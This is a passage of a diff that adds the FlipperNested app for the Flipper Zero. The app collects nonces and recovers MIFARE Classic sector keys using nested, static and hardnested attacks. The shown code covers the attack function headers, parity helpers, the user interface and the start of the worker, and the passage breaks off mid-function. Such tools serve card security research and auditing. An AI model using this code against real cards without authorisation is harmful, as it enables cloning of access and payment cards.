nested_check_nonce_type(FuriHalNfcTxRxContext* tx_rx, uint8_t blockNo); + +struct nonce_info_static { + uint32_t cuid; + uint32_t target_nt[2]; + uint32_t target_ks[2]; + bool full; +}; + +struct nonce_info_hard { + uint32_t cuid; + bool static_encrypted; + bool full; +}; + +struct nonce_info { + uint32_t cuid; + uint32_t target_nt[2]; + uint32_t target_ks[2]; + uint8_t parity[2][4]; + bool full; +}; + +struct distance_info { + uint32_t min_prng; + uint32_t max_prng; + uint32_t mid_prng; +}; + +struct nonce_info_static nested_static_nonce_attack( + FuriHalNfcTxRxContext* tx_rx, + uint8_t blockNo, + uint8_t keyType, + uint8_t targetBlockNo, + uint8_t targetKeyType, + uint64_t ui64Key); + +struct nonce_info nested_attack( + FuriHalNfcTxRxContext* tx_rx, + uint8_t blockNo, + uint8_t keyType, + uint8_t targetBlockNo, + uint8_t targetKeyType, + uint64_t ui64Key, + uint32_t distance, + uint32_t delay); + +struct nonce_info_hard nested_hard_nonce_attack( + FuriHalNfcTxRxContext* tx_rx, + uint8_t blockNo, + uint8_t keyType, + uint8_t targetBlockNo, + uint8_t targetKeyType, + uint64_t ui64Key, + uint32_t* found, + uint32_t* first_byte_sum, + Stream* file_stream); + +uint32_t nested_calibrate_distance( + FuriHalNfcTxRxContext* tx_rx, + uint8_t blockNo, + uint8_t keyType, + uint64_t ui64Key, + uint32_t delay, + bool full); + +struct distance_info nested_calibrate_distance_info( + FuriHalNfcTxRxContext* tx_rx, + uint8_t blockNo, + uint8_t keyType, + uint64_t ui64Key); + +typedef enum { + NestedCheckKeyNoTag, + NestedCheckKeyValid, + NestedCheckKeyInvalid, +} NestedCheckKeyResult; + +NestedCheckKeyResult nested_check_key( + FuriHalNfcTxRxContext* tx_rx, + uint8_t blockNo, + uint8_t keyType, + uint64_t ui64Key); + +bool nested_check_block(FuriHalNfcTxRxContext* tx_rx, uint8_t blockNo, uint8_t keyType); + +void nested_get_data(); + +bool mifare_classic_authex( + Crypto1* crypto, + FuriHalNfcTxRxContext* tx_rx, + uint32_t uid, + uint32_t blockNo, + uint32_t keyType, + uint64_t ui64Key, + bool isNested, + uint32_t* ntptr); + +void nfc_activate(); + +void nfc_deactivate(); diff --git a/applications/external/mifare_nested/lib/parity/parity.c b/applications/external/mifare_nested/lib/parity/parity.c new file mode 100644 index 000000000..c8e2f807e --- /dev/null +++ b/applications/external/mifare_nested/lib/parity/parity.c @@ -0,0 +1,71 @@ +#include "parity.h" + +uint32_t __paritysi2(uint32_t a) { + uint32_t x = (uint32_t)a; + x ^= x >> 16; + x ^= x >> 8; + x ^= x >> 4; + return (0x6996 >> (x & 0xF)) & 1; +} + +static const uint8_t g_odd_byte_parity[256] = { + 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, + 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, + 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, + 0, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, + 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, + 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, + 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, + 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, + 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1}; + +#define ODD_PARITY8(x) \ + { g_odd_byte_parity[x] } +#define EVEN_PARITY8(x) \ + { !g_odd_byte_parity[x] } + +uint8_t oddparity8(const uint8_t x) { + return g_odd_byte_parity[x]; +} + +uint8_t evenparity8(const uint8_t x) { + return !g_odd_byte_parity[x]; +} + +uint8_t evenparity16(uint16_t x) { +#if !defined __GNUC__ + x ^= x >> 8; + return EVEN_PARITY8(x); +#else + return (__builtin_parity(x) & 0xFF); +#endif +} + +uint8_t oddparity16(uint16_t x) { +#if !defined __GNUC__ + x ^= x >> 8; + return ODD_PARITY8(x); +#else + return !__builtin_parity(x); +#endif +} + +uint8_t evenparity32(uint32_t x) { +#if !defined __GNUC__ + x ^= x >> 16; + x ^= x >> 8; + return EVEN_PARITY8(x); +#else + return (__builtin_parity(x) & 0xFF); +#endif +} + +uint8_t oddparity32(uint32_t x) { +#if !defined __GNUC__ + x ^= x >> 16; + x ^= x >> 8; + return ODD_PARITY8(x); +#else + return !__builtin_parity(x); +#endif +} \ No newline at end of file diff --git a/applications/external/mifare_nested/lib/parity/parity.h b/applications/external/mifare_nested/lib/parity/parity.h new file mode 100644 index 000000000..16648afa1 --- /dev/null +++ b/applications/external/mifare_nested/lib/parity/parity.h @@ -0,0 +1,10 @@ +#include "stdint.h" + +uint8_t oddparity8(const uint8_t x); +uint8_t evenparity8(const uint8_t x); + +uint8_t evenparity16(uint16_t x); +uint8_t oddparity16(uint16_t x); + +uint8_t evenparity32(uint32_t x); +uint8_t oddparity32(uint32_t x); \ No newline at end of file diff --git a/applications/external/mifare_nested/mifare_nested.c b/applications/external/mifare_nested/mifare_nested.c new file mode 100644 index 000000000..237eaef9a --- /dev/null +++ b/applications/external/mifare_nested/mifare_nested.c @@ -0,0 +1,408 @@ +#include "mifare_nested_i.h" +#include + +bool mifare_nested_custom_event_callback(void* context, uint32_t event) { + furi_assert(context); + MifareNested* mifare_nested = context; + return scene_manager_handle_custom_event(mifare_nested->scene_manager, event); +} + +bool mifare_nested_back_event_callback(void* context) { + furi_assert(context); + MifareNested* mifare_nested = context; + return scene_manager_handle_back_event(mifare_nested->scene_manager); +} + +void mifare_nested_tick_event_callback(void* context) { + furi_assert(context); + MifareNested* mifare_nested = context; + scene_manager_handle_tick_event(mifare_nested->scene_manager); +} + +void mifare_nested_show_loading_popup(void* context, bool show) { + MifareNested* mifare_nested = context; + TaskHandle_t timer_task = xTaskGetHandle(configTIMER_SERVICE_TASK_NAME); + + if(show) { + // Raise timer priority so that animations can play + vTaskPrioritySet(timer_task, configMAX_PRIORITIES - 1); + view_dispatcher_switch_to_view(mifare_nested->view_dispatcher, MifareNestedViewLoading); + } else { + // Restore default timer priority + vTaskPrioritySet(timer_task, configTIMER_TASK_PRIORITY); + } +} + +NestedState* collection_alloc() { + NestedState* nested = malloc(sizeof(NestedState)); + nested->view = view_alloc(); + view_allocate_model(nested->view, ViewModelTypeLocking, sizeof(NestedAttackViewModel)); + with_view_model( + nested->view, + NestedAttackViewModel * model, + { + model->header = furi_string_alloc(); + furi_string_set(model->header, "Collecting nonces"); + model->keys_count = 0; + model->hardnested_states = 0; + model->lost_tag = false; + model->calibrating = false; + model->need_prediction = false; + model->hardnested = false; + }, + false); + + return nested; +} + +CheckKeysState* check_keys_alloc() { + CheckKeysState* state = malloc(sizeof(CheckKeysState)); + state->view = view_alloc(); + view_allocate_model(state->view, ViewModelTypeLocking, sizeof(CheckKeysViewModel)); + with_view_model( + state->view, + CheckKeysViewModel * model, + { + model->header = furi_string_alloc(); + furi_string_set(model->header, "Checking keys"); + model->lost_tag = false; + }, + false); + + return state; +} + +static void nested_draw_callback(Canvas* canvas, void* model) { + NestedAttackViewModel* m = model; + + if(m->lost_tag) { + canvas_set_font(canvas, FontPrimary); + canvas_draw_str_aligned(canvas, 64, 4, AlignCenter, AlignTop, "Lost the tag!"); + canvas_set_font(canvas, FontSecondary); + elements_multiline_text_aligned( + canvas, 64, 23, AlignCenter, AlignTop, "Make sure the tag is\npositioned correctly."); + } else if(m->calibrating) { + canvas_set_font(canvas, FontPrimary); + canvas_draw_str_aligned(canvas, 64, 4, AlignCenter, AlignTop, "Calibrating..."); + canvas_set_font(canvas, FontSecondary); + if(!m->need_prediction) { + elements_multiline_text_aligned( + canvas, 64, 23, AlignCenter, AlignTop, "Don't touch or move\nFlipper/Tag!"); + } else { + elements_multiline_text_aligned( + canvas, 64, 18, AlignCenter, AlignTop, "Don't touch or move tag!"); + canvas_set_font(canvas, FontPrimary); + elements_multiline_text_aligned( + canvas, 64, 30, AlignCenter, AlignTop, "Calibration will take\nmore time"); + } + } else if(m->hardnested) { + char draw_str[32] = {}; + canvas_set_font(canvas, FontPrimary); + canvas_draw_str_aligned( + canvas, 64, 2, AlignCenter, AlignTop, furi_string_get_cstr(m->header)); + canvas_set_font(canvas, FontSecondary); + + float progress = + m->keys_count == 0 ? 0 : (float)(m->nonces_collected) / (float)(m->keys_count); + + if(progress > 1.0) { + progress = 1.0; + } + + elements_progress_bar(canvas, 5, 15, 120, progress); + canvas_set_font(canvas, FontSecondary); + snprintf( + draw_str, + sizeof(draw_str), + "Nonces collected: %lu/%lu", + m->nonces_collected, + m->keys_count); + canvas_draw_str_aligned(canvas, 1, 28, AlignLeft, AlignTop, draw_str); + snprintf(draw_str, sizeof(draw_str), "States found: %lu/256", m->hardnested_states); + canvas_draw_str_aligned(canvas, 1, 40, AlignLeft, AlignTop, draw_str); + } else { + char draw_str[32] = {}; + canvas_set_font(canvas, FontPrimary); + canvas_draw_str_aligned( + canvas, 64, 2, AlignCenter, AlignTop, furi_string_get_cstr(m->header)); + canvas_set_font(canvas, FontSecondary); + + float progress = + m->keys_count == 0 ? 0 : (float)(m->nonces_collected) / (float)(m->keys_count); + + if(progress > 1.0) { + progress = 1.0; + } + + elements_progress_bar(canvas, 5, 15, 120, progress); + canvas_set_font(canvas, FontSecondary); + snprintf( + draw_str, + sizeof(draw_str), + "Nonces collected: %lu/%lu", + m->nonces_collected, + m->keys_count); + canvas_draw_str_aligned(canvas, 1, 28, AlignLeft, AlignTop, draw_str); + } + + elements_button_center(canvas, "Stop"); +} + +static void check_keys_draw_callback(Canvas* canvas, void* model) { + CheckKeysViewModel* m = model; + + if(m->lost_tag) { + canvas_set_font(canvas, FontPrimary); + canvas_draw_str_aligned(canvas, 64, 4, AlignCenter, AlignTop, "Lost the tag!"); + canvas_set_font(canvas, FontSecondary); + elements_multiline_text_aligned( + canvas, 64, 23, AlignCenter, AlignTop, "Make sure the tag is\npositioned correctly."); + } else if(m->processing_keys) { + canvas_set_font(canvas, FontPrimary); + canvas_draw_str_aligned(canvas, 64, 4, AlignCenter, AlignTop, "Processing keys..."); + canvas_set_font(canvas, FontSecondary); + elements_multiline_text_aligned( + canvas, 64, 23, AlignCenter, AlignTop, "Checking which keys you\nalready have..."); + } else { + char draw_str[32] = {}; + char draw_sub_str[32] = {}; + canvas_set_font(canvas, FontPrimary); + canvas_draw_str_aligned( + canvas, 64, 2, AlignCenter, AlignTop, furi_string_get_cstr(m->header)); + canvas_set_font(canvas, FontSecondary); + + float progress = m->keys_count == 0 ? 0 : + (float)(m->keys_checked) / (float)(m->keys_count); + + if(progress > 1.0) { + progress = 1.0; + } + + elements_progress_bar(canvas, 5, 15, 120, progress); + canvas_set_font(canvas, FontSecondary); + snprintf( + draw_str, sizeof(draw_str), "Keys checked: %lu/%lu", m->keys_checked, m->keys_count); + canvas_draw_str_aligned(canvas, 1, 28, AlignLeft, AlignTop, draw_str); + snprintf( + draw_sub_str, + sizeof(draw_sub_str), + "Keys found: %lu/%lu", + m->keys_found, + m->keys_total); + canvas_draw_str_aligned(canvas, 1, 40, AlignLeft, AlignTop, draw_sub_str); + } + + elements_button_center(canvas, "Stop"); +} + +static bool nested_input_callback(InputEvent* event, void* context) { + MifareNested* mifare_nested = context; + + bool consumed = false; + + if(event->type == InputTypeShort && (event->key == InputKeyBack || event->key == InputKeyOk)) { + scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0); + consumed = true; + } + + return consumed; +} + +MifareNested* mifare_nested_alloc() { + MifareNested* mifare_nested = malloc(sizeof(MifareNested)); + + mifare_nested->worker = mifare_nested_worker_alloc(); + mifare_nested->view_dispatcher = view_dispatcher_alloc(); + mifare_nested->scene_manager = + scene_manager_alloc(&mifare_nested_scene_handlers, mifare_nested); + view_dispatcher_enable_queue(mifare_nested->view_dispatcher); + view_dispatcher_set_event_callback_context(mifare_nested->view_dispatcher, mifare_nested); + view_dispatcher_set_custom_event_callback( + mifare_nested->view_dispatcher, mifare_nested_custom_event_callback); + view_dispatcher_set_navigation_event_callback( + mifare_nested->view_dispatcher, mifare_nested_back_event_callback); + view_dispatcher_set_tick_event_callback( + mifare_nested->view_dispatcher, mifare_nested_tick_event_callback, 100); + + // Nfc device + mifare_nested->nfc_dev = nfc_device_alloc(); + + // Open GUI record + mifare_nested->gui = furi_record_open(RECORD_GUI); + view_dispatcher_attach_to_gui( + mifare_nested->view_dispatcher, mifare_nested->gui, ViewDispatcherTypeFullscreen); + + // Open Notification record + mifare_nested->notifications = furi_record_open(RECORD_NOTIFICATION); + + // Submenu + mifare_nested->submenu = submenu_alloc(); + view_dispatcher_add_view( + mifare_nested->view_dispatcher, + MifareNestedViewMenu, + submenu_get_view(mifare_nested->submenu)); + + // Popup + mifare_nested->popup = popup_alloc(); + view_dispatcher_add_view( + mifare_nested->view_dispatcher, + MifareNestedViewPopup, + popup_get_view(mifare_nested->popup)); + + // Loading + mifare_nested->loading = loading_alloc(); + view_dispatcher_add_view( + mifare_nested->view_dispatcher, + MifareNestedViewLoading, + loading_get_view(mifare_nested->loading)); + + // Text Input + mifare_nested->text_input = text_input_alloc(); + view_dispatcher_add_view( + mifare_nested->view_dispatcher, + MifareNestedViewTextInput, + text_input_get_view(mifare_nested->text_input)); + + // Custom Widget + mifare_nested->widget = widget_alloc(); + view_dispatcher_add_view( + mifare_nested->view_dispatcher, + MifareNestedViewWidget, + widget_get_view(mifare_nested->widget)); + + // Variable Item List + mifare_nested->variable_item_list = variable_item_list_alloc(); + view_dispatcher_add_view( + mifare_nested->view_dispatcher, + MifareNestedViewVariableList, + variable_item_list_get_view(mifare_nested->variable_item_list)); + + // Nested attack state + NestedState* plugin_state = collection_alloc(); + view_set_context(plugin_state->view, mifare_nested); + mifare_nested->nested_state = plugin_state; + view_dispatcher_add_view( + mifare_nested->view_dispatcher, MifareNestedViewCollecting, plugin_state->view); + + // Check keys attack state + CheckKeysState* keys_state = check_keys_alloc(); + view_set_context(keys_state->view, mifare_nested); + mifare_nested->keys_state = keys_state; + view_dispatcher_add_view( + mifare_nested->view_dispatcher, MifareNestedViewCheckKeys, keys_state->view); + + KeyInfo_t* key_info = malloc(sizeof(KeyInfo_t)); + mifare_nested->keys = key_info; + + MifareNestedSettings* settings = malloc(sizeof(MifareNestedSettings)); + settings->only_hardnested = false; + mifare_nested->settings = settings; + + view_set_draw_callback(plugin_state->view, nested_draw_callback); + view_set_input_callback(plugin_state->view, nested_input_callback); + + view_set_draw_callback(keys_state->view, check_keys_draw_callback); + view_set_input_callback(keys_state->view, nested_input_callback); + + mifare_nested->collecting_type = MifareNestedWorkerStateReady; + mifare_nested->run = NestedRunIdle; + + return mifare_nested; +} + +void mifare_nested_free(MifareNested* mifare_nested) { + furi_assert(mifare_nested); + + // Nfc device + nfc_device_free(mifare_nested->nfc_dev); + + // Submenu + view_dispatcher_remove_view(mifare_nested->view_dispatcher, MifareNestedViewMenu); + submenu_free(mifare_nested->submenu); + + // Popup + view_dispatcher_remove_view(mifare_nested->view_dispatcher, MifareNestedViewPopup); + popup_free(mifare_nested->popup); + + // Loading + view_dispatcher_remove_view(mifare_nested->view_dispatcher, MifareNestedViewLoading); + loading_free(mifare_nested->loading); + + // TextInput + view_dispatcher_remove_view(mifare_nested->view_dispatcher, MifareNestedViewTextInput); + text_input_free(mifare_nested->text_input); + + // Custom Widget + view_dispatcher_remove_view(mifare_nested->view_dispatcher, MifareNestedViewWidget); + widget_free(mifare_nested->widget); + + // Variable Item List + view_dispatcher_remove_view(mifare_nested->view_dispatcher, MifareNestedViewVariableList); + variable_item_list_free(mifare_nested->variable_item_list); + + // Nested + view_dispatcher_remove_view(mifare_nested->view_dispatcher, MifareNestedViewCollecting); + + // Check keys + view_dispatcher_remove_view(mifare_nested->view_dispatcher, MifareNestedViewCheckKeys); + + // Nonces states + free(mifare_nested->nonces); + free(mifare_nested->nested_state); + + // Keys + free(mifare_nested->keys); + + // Settings + free(mifare_nested->settings); + + // Worker + mifare_nested_worker_stop(mifare_nested->worker); + mifare_nested_worker_free(mifare_nested->worker); + + // View Dispatcher + view_dispatcher_free(mifare_nested->view_dispatcher); + + // Scene Manager + scene_manager_free(mifare_nested->scene_manager); + + // GUI + furi_record_close(RECORD_GUI); + mifare_nested->gui = NULL; + + // Notifications + furi_record_close(RECORD_NOTIFICATION); + mifare_nested->notifications = NULL; + + free(mifare_nested); +} + +void mifare_nested_blink_start(MifareNested* mifare_nested) { + notification_message(mifare_nested->notifications, &mifare_nested_sequence_blink_start_blue); +} + +void mifare_nested_blink_calibration_start(MifareNested* mifare_nested) { + notification_message( + mifare_nested->notifications, &mifare_nested_sequence_blink_start_magenta); +} + +void mifare_nested_blink_nonce_collection_start(MifareNested* mifare_nested) { + notification_message(mifare_nested->notifications, &mifare_nested_sequence_blink_start_yellow); +} + +void mifare_nested_blink_stop(MifareNested* mifare_nested) { + notification_message(mifare_nested->notifications, &mifare_nested_sequence_blink_stop); +} + +int32_t mifare_nested_app(void* p) { + UNUSED(p); + MifareNested* mifare_nested = mifare_nested_alloc(); + + scene_manager_next_scene(mifare_nested->scene_manager, MifareNestedSceneStart); + + view_dispatcher_run(mifare_nested->view_dispatcher); + + mifare_nested_free(mifare_nested); + + return 0; +} diff --git a/applications/external/mifare_nested/mifare_nested.h b/applications/external/mifare_nested/mifare_nested.h new file mode 100644 index 000000000..a59a5b8ca --- /dev/null +++ b/applications/external/mifare_nested/mifare_nested.h @@ -0,0 +1,3 @@ +#pragma once + +typedef struct MifareNested MifareNested; diff --git a/applications/external/mifare_nested/mifare_nested_i.h b/applications/external/mifare_nested/mifare_nested_i.h new file mode 100644 index 000000000..59aab5825 --- /dev/null +++ b/applications/external/mifare_nested/mifare_nested_i.h @@ -0,0 +1,180 @@ +#pragma once +#include "mifare_nested.h" +#include "mifare_nested_worker.h" +#include "lib/nested/nested.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "scenes/mifare_nested_scene.h" +#include +#include +#include +#include +#include +#include "mifare_nested_icons.h" + +#define NESTED_VERSION_APP "1.4.6" +#define NESTED_GITHUB_LINK "https://github.com/AloneLiberty/FlipperNested" +#define NESTED_RECOVER_KEYS_GITHUB_LINK "https://github.com/AloneLiberty/FlipperNestedRecovery" +#define NESTED_NONCE_FORMAT_VERSION "3" +#define NESTED_AUTHOR "@AloneLiberty (t.me/libertydev)" + +enum MifareNestedCustomEvent { + // Reserve first 100 events for button types and indexes, starting from 0 + MifareNestedCustomEventReserved = 100, + + MifareNestedCustomEventViewExit, + MifareNestedCustomEventWorkerExit, + MifareNestedCustomEventByteInputDone, + MifareNestedCustomEventTextInputDone, + MifareNestedCustomEventSceneSettingLock +}; + +typedef void (*NestedCallback)(void* context); + +typedef struct { + FuriMutex* mutex; + FuriMessageQueue* event_queue; + ViewPort* view_port; + View* view; + NestedCallback callback; + void* context; +} NestedState; + +typedef void (*CheckKeysCallback)(void* context); + +typedef struct { + FuriMutex* mutex; + FuriMessageQueue* event_queue; + ViewPort* view_port; + View* view; + CheckKeysCallback callback; + void* context; +} CheckKeysState; + +typedef enum { + EventTypeTick, + EventTypeKey, +} EventType; + +typedef struct { + EventType type; + InputEvent input; +} PluginEvent; + +typedef struct { + bool only_hardnested; +} MifareNestedSettings; + +typedef enum { NestedRunIdle, NestedRunCheckKeys, NestedRunAttack } NestedRunNext; + +struct MifareNested { + MifareNestedWorker* worker; + ViewDispatcher* view_dispatcher; + Gui* gui; + NotificationApp* notifications; + SceneManager* scene_manager; + NfcDevice* nfc_dev; + VariableItemList* variable_item_list; + MifareNestedSettings* settings; + FuriString* text_box_store; + + // Common Views + Submenu* submenu; + Popup* popup; + Loading* loading; + TextInput* text_input; + Widget* widget; + + NonceList_t* nonces; + KeyInfo_t* keys; + + NestedState* nested_state; + CheckKeysState* keys_state; + + MifareNestedWorkerState collecting_type; + + NestedRunNext run; +}; + +typedef enum { + MifareNestedViewMenu, + MifareNestedViewPopup, + MifareNestedViewLoading, + MifareNestedViewTextInput, + MifareNestedViewWidget, + MifareNestedViewVariableList, + MifareNestedViewCollecting, + MifareNestedViewCheckKeys, +} MifareNestedView; + +typedef struct { + FuriString* header; + uint32_t keys_count; + uint32_t nonces_collected; + uint32_t hardnested_states; + bool lost_tag; + bool calibrating; + bool need_prediction; + bool hardnested; +} NestedAttackViewModel; + +typedef struct { + FuriString* header; + uint32_t keys_count; + uint32_t keys_checked; + uint32_t keys_found; + uint32_t keys_total; + bool lost_tag; + bool processing_keys; +} CheckKeysViewModel; + +static const NotificationSequence mifare_nested_sequence_blink_start_blue = { + &message_blink_start_10, + &message_blink_set_color_blue, + &message_do_not_reset, + NULL, +}; + +static const NotificationSequence mifare_nested_sequence_blink_start_magenta = { + &message_blink_start_10, + &message_blink_set_color_magenta, + &message_do_not_reset, + NULL, +}; + +static const NotificationSequence mifare_nested_sequence_blink_start_yellow = { + &message_blink_start_10, + &message_blink_set_color_yellow, + &message_do_not_reset, + NULL, +}; + +static const NotificationSequence mifare_nested_sequence_blink_stop = { + &message_blink_stop, + NULL, +}; + +MifareNested* mifare_nested_alloc(); + +void mifare_nested_text_store_set(MifareNested* mifare_nested, const char* text, ...); + +void mifare_nested_text_store_clear(MifareNested* mifare_nested); + +void mifare_nested_blink_start(MifareNested* mifare_nested); + +void mifare_nested_blink_calibration_start(MifareNested* mifare_nested); + +void mifare_nested_blink_nonce_collection_start(MifareNested* mifare_nested); + +void mifare_nested_blink_stop(MifareNested* mifare_nested); + +void mifare_nested_show_loading_popup(void* context, bool show); diff --git a/applications/external/mifare_nested/mifare_nested_worker.c b/applications/external/mifare_nested/mifare_nested_worker.c new file mode 100644 index 000000000..56d2f2427 --- /dev/null +++ b/applications/external/mifare_nested/mifare_nested_worker.c @@ -0,0 +1,1663 @@ +#include "mifare_nested_worker_i.h" + +#include "lib/nested/nested.h" +#include "lib/parity/parity.h" +#include + +#include +#include +#include +#include "string.h" +#include +#include + +#define TAG "MifareNestedWorker" + +// possible sum property values +static uint16_t sums[] = + {0, 32, 56, 64, 80, 96, 104, 112, 120, 128, 136, 144, 152, 160, 176, 192, 200, 224, 256}; + +void mifare_nested_worker_change_state( + MifareNestedWorker* mifare_nested_worker, + MifareNestedWorkerState state) { + furi_assert(mifare_nested_worker); + + mifare_nested_worker->state = state; +} + +MifareNestedWorker* mifare_nested_worker_alloc() { + MifareNestedWorker* mifare_nested_worker = malloc(sizeof(MifareNestedWorker)); + + // Worker thread attributes + mifare_nested_worker->thread = furi_thread_alloc_ex( + "MifareNestedWorker", 8192, mifare_nested_worker_task, mifare_nested_worker); + + mifare_nested_worker->callback = NULL; + mifare_nested_worker->context = NULL; + + mifare_nested_worker_change_state(mifare_nested_worker, MifareNestedWorkerStateReady); + + return mifare_nested_worker; +} + +void mifare_nested_worker_free(MifareNestedWorker* mifare_nested_worker) { + furi_assert(mifare_nested_worker); + + furi_thread_free(mifare_nested_worker->thread); + free(mifare_nested_worker); +} + +void mifare_nested_worker_stop(MifareNestedWorker* mifare_nested_worker) { + furi_assert(mifare_nested_worker); + + mifare_nested_worker_change_state(mifare_nested_worker, MifareNestedWorkerStateStop); + furi_thread_join(mifare_nested_worker->thread); +} + +void mifare_nested_worker_start( + MifareNestedWorker* mifare_nested_worker, + MifareNestedWorkerState state, + NfcDeviceData* dev_data, + MifareNestedWorkerCallback callback, + void* context) { + furi_assert(mifare_nested_worker); + furi_assert(dev_data); + + mifare_nested_worker->callback = callback; + mifare_nested_worker->context = context; + mifare_nested_worker->dev_data = dev_data; + mifare_nested_worker_change_state(mifare_nested_worker, state); + furi_thread_start(mifare_nested_worker->thread); +} + +int32_t mifare_nested_worker_task(void* context) { + MifareNestedWorker* mifare_nested_worker = context; + + if(mifare_nested_worker->state == MifareNestedWorkerStateCheck) { + mifare_nested_worker_check(mifare_nested_worker); + } else if(mifare_nested_worker->state == MifareNestedWorkerStateCollectingStatic) { + mifare_nested_worker_collect_nonces_static(mifare_nested_worker); + } else if(mifare_nested_worker->state == MifareNestedWorkerStateCollecting) { + mifare_nested_worker_collect_nonces(mifare_nested_worker); + } else if(mifare_nested_worker->state == MifareNestedWorkerStateCollectingHard) { + mifare_nested_worker_collect_nonces_hard(mifare_nested_worker); + } else if(mifare_nested_worker->state == MifareNestedWorkerStateValidating) { + mifare_nested_worker_check_keys(mifare_nested_worker); + } + + mifare_nested_worker_change_state(mifare_nested_worker, MifareNestedWorkerStateReady); + + return 0; +} + +void mifare_nested_worker_write_uid_string(FuriHalNfcDevData* data, FuriString* string) { + uint8_t* uid = data->uid; + uint8_t uid_len = data->uid_len; + + for(size_t i = 0; i < uid_len; i++) { + uint8_t uid_part = uid[i]; + furi_string_cat_printf(string, "%02X", uid_part); + } +} + +void mifare_nested_worker_get_key_cache_file_path(FuriHalNfcDevData* data, FuriString* file_path) { + furi_string_set(file_path, EXT_PATH("nfc/.cache") "/"); + + mifare_nested_worker_write_uid_string(data, file_path); + + furi_string_cat_printf(file_path, ".keys"); +} + +void mifare_nested_worker_get_nonces_file_path(FuriHalNfcDevData* data, FuriString* file_path) { + furi_string_set(file_path, NESTED_FOLDER "/"); + + mifare_nested_worker_write_uid_string(data, file_path); + + furi_string_cat_printf(file_path, ".nonces"); +} + +void mifare_nested_worker_get_found_keys_file_path(FuriHalNfcDevData* data, FuriString* file_path) { + furi_string_set(file_path, NESTED_FOLDER "/"); + + mifare_nested_worker_write_uid_string(data, file_path); + + furi_string_cat_printf(file_path, ".keys"); +} + +void mifare_nested_worker_get_hardnested_folder_path( + FuriHalNfcDevData* data, + FuriString* file_path) { + furi_string_set(file_path, NESTED_FOLDER "/"); + + mifare_nested_worker_write_uid_string(data, file_path); +} + +void mifare_nested_worker_get_hardnested_file_path( + FuriHalNfcDevData* data, + FuriString* file_path, + uint8_t sector, + uint8_t key_type) { + mifare_nested_worker_get_hardnested_folder_path(data, file_path); + + furi_string_cat_printf(file_path, "/%u_%u.nonces", sector, key_type); +} + +uint8_t mifare_nested_worker_get_block_by_sector(uint8_t sector) { + furi_assert(sector < 40); + if(sector < 32) { + return (sector * 4) + 3; + } else { + return 32 * 4 + (sector - 32) * 16 + 15; + } +} + +static MfClassicSectorTrailer* + mifare_nested_worker_get_sector_trailer_by_sector(MfClassicData* data, uint8_t sector) { + return (MfClassicSectorTrailer*)data->block[mifare_nested_worker_get_block_by_sector(sector)] + .value; +} + +bool mifare_nested_worker_read_key_cache(FuriHalNfcDevData* data, MfClassicData* mf_data) { + Storage* storage = furi_record_open(RECORD_STORAGE); + FuriString* temp_str = furi_string_alloc(); + mifare_nested_worker_get_key_cache_file_path(data, temp_str); + FlipperFormat* file = flipper_format_file_alloc(storage); + bool load_success = false; + uint32_t sector_count = 0; + + do { + if(storage_common_stat(storage, furi_string_get_cstr(temp_str), NULL) != FSE_OK) break; + + if(!flipper_format_file_open_existing(file, furi_string_get_cstr(temp_str))) break; + + uint32_t version = 0; + + if(!flipper_format_read_header(file, temp_str, &version)) break; + if(furi_string_cmp_str(temp_str, "Flipper NFC keys")) break; + + if(version != 1) break; + + if(!flipper_format_read_string(file, "Mifare Classic type", temp_str)) break; + + if(!furi_string_cmp(temp_str, "1K")) { + mf_data->type = MfClassicType1k; + sector_count = 16; + } else if(!furi_string_cmp(temp_str, "4K")) { + mf_data->type = MfClassicType4k; + sector_count = 40; + } else if(!furi_string_cmp(temp_str, "MINI")) { + mf_data->type = MfClassicTypeMini; + sector_count = 5; + } else { + break; + } + + if(!flipper_format_read_hex_uint64(file, "Key A map", &mf_data->key_a_mask, 1)) break; + if(!flipper_format_read_hex_uint64(file, "Key B map", &mf_data->key_b_mask, 1)) break; + + bool key_read_success = true; + + for(size_t i = 0; (i < sector_count) && (key_read_success); i++) { + MfClassicSectorTrailer* sec_tr = + mifare_nested_worker_get_sector_trailer_by_sector(mf_data, i); + + if(FURI_BIT(mf_data->key_a_mask, i)) { + furi_string_printf(temp_str, "Key A sector %d", i); + key_read_success = flipper_format_read_hex( + file, furi_string_get_cstr(temp_str), sec_tr->key_a, 6); + } + + if(!key_read_success) break; + + if(FURI_BIT(mf_data->key_b_mask, i)) { + furi_string_printf(temp_str, "Key B sector %d", i); + key_read_success = flipper_format_read_hex( + file, furi_string_get_cstr(temp_str), sec_tr->key_b, 6); + } + } + + load_success = key_read_success; + } while(false); + + furi_string_free(temp_str); + flipper_format_free(file); + + return load_success; +} + +bool hex_char_to_hex_nibble(char c, uint8_t* nibble) { + if((c >= '0' && c <= '9') || (c >= 'A' && c <= 'F') || (c >= 'a' && c <= 'f')) { + if(c <= '9') { + *nibble = c - '0'; + } else if(c <= 'F') { + *nibble = c - 'A' + 10; + } else { + *nibble = c - 'a' + 10; + } + return true; + } else { + return false; + } +} + +bool hex_char_to_uint8(char hi, char low, uint8_t* value) { + uint8_t hi_nibble_value, low_nibble_value; + + 